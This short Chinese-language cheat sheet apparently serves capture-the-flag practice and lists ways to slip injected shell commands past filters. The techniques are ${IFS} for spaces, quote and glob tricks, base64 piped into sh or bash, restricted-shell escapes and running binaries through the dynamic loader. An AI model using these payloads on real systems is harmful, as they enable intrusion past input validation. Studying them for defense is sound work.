过滤空格

${IFS}man bash手册中有介绍。它是一个字符串类型的分隔符集合,顾名思义就是用来定义分隔符的内置变量。通过echo -n "$IFS" | hexdump可以看到十六进制编码后的内部值

1
2
3
$ echo -n "$IFS" | hexdump
0000000 0920 000a
0000003

不同的Linux发行版略有差异,主要是0x09(\t)0x20(空格)0x0a(\n)这三个默认值顺序的不同。它们三兄弟虽然紧挨在一起,但都是单独地起作用(即没有用来分割分隔符的分隔符)。IFS的值与$*$@等内置变量也关系密切,通过将IFS赋空(NULL)可以实现一些特殊效果。在绕过时可以配合$9这个特殊空字符串

  • 重定向符:cat<>flagcat<flag

过滤运算符

灵活运用&|&&||;%0a(\n):等符号

过滤斜杠

cd配合命令分隔符

通过grep递归查找:grep -ri . flag

过滤关键字

假设过滤cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
`c''at`

`c""at`

```ca``t```

`ca\t`

`/bin/ca[s-u]`

`x=ca;y=t;$x$y`

`echo 'Y2F0IGZsYWc='|base64 -d|sh`

`bash -c "{echo, Y2F0IGZsYWc=}|{base64, -d}|{bash, -i}"`

# 综合利用其它变量构造

参数注入

利用LOLBAS/GTFOBins危险参数

受限bash

利用脚本解释器、SSH、vim/more/less等程序间接逃逸

无x权限的ELF

利用动态加载器执行

1
2
3
4
5
ldd readflag

readelf -r readflag

./lib64/ld-linux-x86-64.so.2 ./readflag